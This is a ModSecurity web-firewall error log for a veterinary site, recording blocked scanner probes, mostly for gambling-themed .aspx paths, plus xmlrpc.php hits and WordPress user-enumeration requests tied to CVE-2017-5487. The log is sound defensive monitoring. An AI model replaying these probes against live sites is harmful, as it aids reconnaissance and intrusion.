[Sat Feb 14 02:13:09.722390 2026] [:error] [pid 47143:tid 47228] [client 161.97.66.6:47502] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aY9ptchV30NbMarHJLt61wAAAk4"]
[Sat Feb 14 02:13:12.270964 2026] [:error] [pid 49223:tid 49237] [client 161.97.66.6:47512] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aY9puB8A_fZBamNLnfWzTwAAAAU"]
[Sat Feb 14 02:13:14.821352 2026] [:error] [pid 18097:tid 18118] [client 161.97.66.6:59346] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aY9punFzYiQ_BfaDDlZ8IgAAAZM"]
[Sat Feb 14 02:13:17.213912 2026] [:error] [pid 46821:tid 46834] [client 161.97.66.6:59350] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aY9pvY6G1N5YSq0J0gdLUwAAAUs"]
[Sat Feb 14 02:13:19.806681 2026] [:error] [pid 47575:tid 47604] [client 161.97.66.6:59354] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aY9pvwIPBuXb07mA_mQO7AAAAtc"]
[Sat Feb 14 02:13:22.338131 2026] [:error] [pid 47080:tid 47109] [client 161.97.66.6:59364] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aY9pwkbWJwYCVF39z6uuMAAAAdU"]
[Sat Feb 14 02:13:24.773653 2026] [:error] [pid 49225:tid 49298] [client 161.97.66.6:58032] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aY9pxDwH8-zGxtAd3jtKggAAAIQ"]
[Sat Feb 14 02:13:27.219484 2026] [:error] [pid 49223:tid 49245] [client 161.97.66.6:58038] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aY9pxx8A_fZBamNLnfWzbgAAAA0"]
[Sat Feb 14 02:13:29.772744 2026] [:error] [pid 18097:tid 18101] [client 161.97.66.6:58050] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aY9pyXFzYiQ_BfaDDlZ8NQAAAYI"]
[Sat Feb 14 02:13:32.300764 2026] [:error] [pid 46821:tid 46841] [client 161.97.66.6:58066] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aY9pzI6G1N5YSq0J0gdLWAAAAVI"]
[Sat Feb 14 02:13:34.824792 2026] [:error] [pid 49223:tid 49241] [client 161.97.66.6:49668] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY9pzh8A_fZBamNLnfWzfwAAAAk"]
[Sat Feb 14 02:45:23.834826 2026] [:error] [pid 49225:tid 49306] [client 35.239.52.86:64690] [client 35.239.52.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.52.86, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY9xQzwH8-zGxtAd3jtQNAAAAIw"]
[Sat Feb 14 02:45:25.614579 2026] [:error] [pid 49225:tid 49311] [client 35.239.52.86:64690] [client 35.239.52.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY9xRTwH8-zGxtAd3jtQNwAAAJE"]
[Sat Feb 14 02:45:27.458891 2026] [:error] [pid 49225:tid 49295] [client 35.239.52.86:64690] [client 35.239.52.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.52.86, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY9xRzwH8-zGxtAd3jtQOwAAAIE"]
[Sat Feb 14 03:09:33.368085 2026] [:error] [pid 47080:tid 47091] [client 136.119.32.226:53471] [client 136.119.32.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.32.226, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY927UbWJwYCVF39z6u9sAAAAcM"]
[Sat Feb 14 03:09:35.439951 2026] [:error] [pid 47080:tid 47088] [client 136.119.32.226:53471] [client 136.119.32.226] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY9270bWJwYCVF39z6u9tAAAAcA"]
[Sat Feb 14 03:09:37.131951 2026] [:error] [pid 47080:tid 47099] [client 136.119.32.226:53471] [client 136.119.32.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.32.226, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY928UbWJwYCVF39z6u9uAAAAcs"]
[Sat Feb 14 03:37:31.887055 2026] [:error] [pid 49223:tid 49237] [client 51.68.235.38:40454] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY99ex8A_fZBamNLnfXFwQAAAAU"]
[Sat Feb 14 03:37:34.285356 2026] [:error] [pid 47080:tid 47101] [client 51.68.235.38:48182] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY99fkbWJwYCVF39z6vFPwAAAc0"]
[Sat Feb 14 03:37:36.689973 2026] [:error] [pid 49223:tid 49247] [client 51.68.235.38:48196] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY99gB8A_fZBamNLnfXFwwAAAA8"]
[Sat Feb 14 03:37:39.178917 2026] [:error] [pid 49225:tid 49301] [client 51.68.235.38:48206] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY99gzwH8-zGxtAd3jtZLAAAAIc"]
[Sat Feb 14 03:37:48.546195 2026] [:error] [pid 17883:tid 17899] [client 51.68.235.38:40134] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY99jH02ghQ5X76-c77xMwAAAAs"]
[Sat Feb 14 03:37:50.935980 2026] [:error] [pid 17885:tid 17947] [client 51.68.235.38:40150] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aY99jnJQPodVyl5YgD8OVgAAAIU"]
[Sat Feb 14 03:37:53.409360 2026] [:error] [pid 17883:tid 17910] [client 51.68.235.38:40158] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aY99kX02ghQ5X76-c77xQwAAABY"]
[Sat Feb 14 03:37:55.813860 2026] [:error] [pid 17885:tid 17964] [client 51.68.235.38:60340] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY99k3JQPodVyl5YgD8OZAAAAJY"]
[Sat Feb 14 03:37:59.632833 2026] [:error] [pid 17970:tid 17986] [client 51.68.235.38:60344] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aY99ls1TttKrbHmIdvVlMQAAAM0"]
[Sat Feb 14 03:38:01.944681 2026] [:error] [pid 18027:tid 18030] [client 51.68.235.38:60350] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY99mfCmvTohI_V3tc-5GwAAAQE"]
[Sat Feb 14 03:38:01.945018 2026] [:error] [pid 18027:tid 18030] [client 51.68.235.38:60350] [client 51.68.235.38] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY99mfCmvTohI_V3tc-5GwAAAQE"]
[Sat Feb 14 03:38:01.945184 2026] [:error] [pid 18027:tid 18030] [client 51.68.235.38:60350] [client 51.68.235.38] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY99mfCmvTohI_V3tc-5GwAAAQE"]
[Sat Feb 14 03:38:05.133947 2026] [:error] [pid 18127:tid 18143] [client 51.68.235.38:46114] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aY99nesM7-L7GfQbf-gYZgAAAAs"]
[Sat Feb 14 03:38:07.561233 2026] [:error] [pid 18130:tid 18197] [client 51.68.235.38:46130] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aY99n6PUaKnxo16MvzrJYwAAAQc"]
[Sat Feb 14 03:38:10.197245 2026] [:error] [pid 18222:tid 18240] [client 51.68.235.38:46140] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aY99ooxHO4O7GMQbUk2XPQAAAU4"]
[Sat Feb 14 03:38:14.614734 2026] [:error] [pid 18350:tid 18360] [client 51.68.235.38:46152] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aY99prMA2jENF6Su_PeNYAAAAMY"]
[Sat Feb 14 03:38:23.505147 2026] [:error] [pid 18651:tid 18690] [client 51.68.235.38:39632] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aY99r8pMTAcPZwgKf53nawAAAAk"]
[Sat Feb 14 03:38:26.065033 2026] [:error] [pid 18658:tid 18710] [client 51.68.235.38:53008] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aY99smatAhlRZrWhmi54fgAAAEI"]
[Sat Feb 14 03:39:05.761235 2026] [:error] [pid 18663:tid 18758] [client 51.68.235.38:53022] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY992VV2LQ8_7XrwSmgNmQAAAJc"]
[Sat Feb 14 03:39:08.133938 2026] [:error] [pid 18663:tid 18744] [client 51.68.235.38:33066] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY993FV2LQ8_7XrwSmgNmwAAAIk"]
[Sat Feb 14 03:39:10.428887 2026] [:error] [pid 18663:tid 18749] [client 51.68.235.38:33078] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY993lV2LQ8_7XrwSmgNpwAAAI4"]
[Sat Feb 14 03:39:12.749359 2026] [:error] [pid 18663:tid 18737] [client 51.68.235.38:33084] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY994FV2LQ8_7XrwSmgNqwAAAII"]
[Sat Feb 14 03:39:15.206105 2026] [:error] [pid 18651:tid 18684] [client 51.68.235.38:51222] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY9948pMTAcPZwgKf53n0QAAAAM"]
[Sat Feb 14 03:39:17.622258 2026] [:error] [pid 18778:tid 18803] [client 51.68.235.38:51228] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY995cewSHvW5JSIGL_HSAAAANU"]
[Sat Feb 14 03:39:19.988789 2026] [:error] [pid 18778:tid 18785] [client 51.68.235.38:51230] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aY9958ewSHvW5JSIGL_HSwAAAMM"]
[Sat Feb 14 03:39:22.480047 2026] [:error] [pid 18663:tid 18752] [client 51.68.235.38:51240] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aY996lV2LQ8_7XrwSmgNvwAAAJE"]
[Sat Feb 14 03:39:25.031311 2026] [:error] [pid 18778:tid 18806] [client 51.68.235.38:51894] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aY997cewSHvW5JSIGL_HVAAAANg"]
[Sat Feb 14 03:39:27.534599 2026] [:error] [pid 18651:tid 18694] [client 51.68.235.38:51900] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aY9978pMTAcPZwgKf53n3QAAAA0"]
[Sat Feb 14 03:39:30.037856 2026] [:error] [pid 18651:tid 18682] [client 51.68.235.38:51914] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aY998spMTAcPZwgKf53n4AAAAAE"]
[Sat Feb 14 03:39:32.546484 2026] [:error] [pid 18663:tid 18751] [client 51.68.235.38:51918] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aY999FV2LQ8_7XrwSmgNyQAAAJA"]
[Sat Feb 14 03:39:35.074302 2026] [:error] [pid 18663:tid 18740] [client 51.68.235.38:35764] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aY9991V2LQ8_7XrwSmgNzQAAAIU"]
[Sat Feb 14 03:39:37.425469 2026] [:error] [pid 18658:tid 18713] [client 51.68.235.38:35778] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aY99-WatAhlRZrWhmi542wAAAEU"]
[Sat Feb 14 03:39:39.944343 2026] [:error] [pid 18658:tid 18732] [client 51.68.235.38:35782] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY99-2atAhlRZrWhmi544gAAAFg"]
[Sat Feb 14 03:39:42.433276 2026] [:error] [pid 18778:tid 18790] [client 51.68.235.38:35784] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY99_sewSHvW5JSIGL_HdgAAAMg"]
[Sat Feb 14 03:39:44.979748 2026] [:error] [pid 18778:tid 18787] [client 51.68.235.38:49374] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY9-AMewSHvW5JSIGL_HfgAAAMU"]
[Sat Feb 14 03:39:47.460078 2026] [:error] [pid 18651:tid 18684] [client 51.68.235.38:49382] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY9-A8pMTAcPZwgKf53n_gAAAAM"]
[Sat Feb 14 03:39:49.952775 2026] [:error] [pid 18658:tid 18714] [client 51.68.235.38:49388] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY9-BWatAhlRZrWhmi547wAAAEY"]
[Sat Feb 14 03:39:52.477814 2026] [:error] [pid 18663:tid 18752] [client 51.68.235.38:49394] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY9-CFV2LQ8_7XrwSmgN5AAAAJE"]
[Sat Feb 14 03:39:54.995958 2026] [:error] [pid 18663:tid 18748] [client 51.68.235.38:60946] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY9-ClV2LQ8_7XrwSmgN7AAAAI0"]
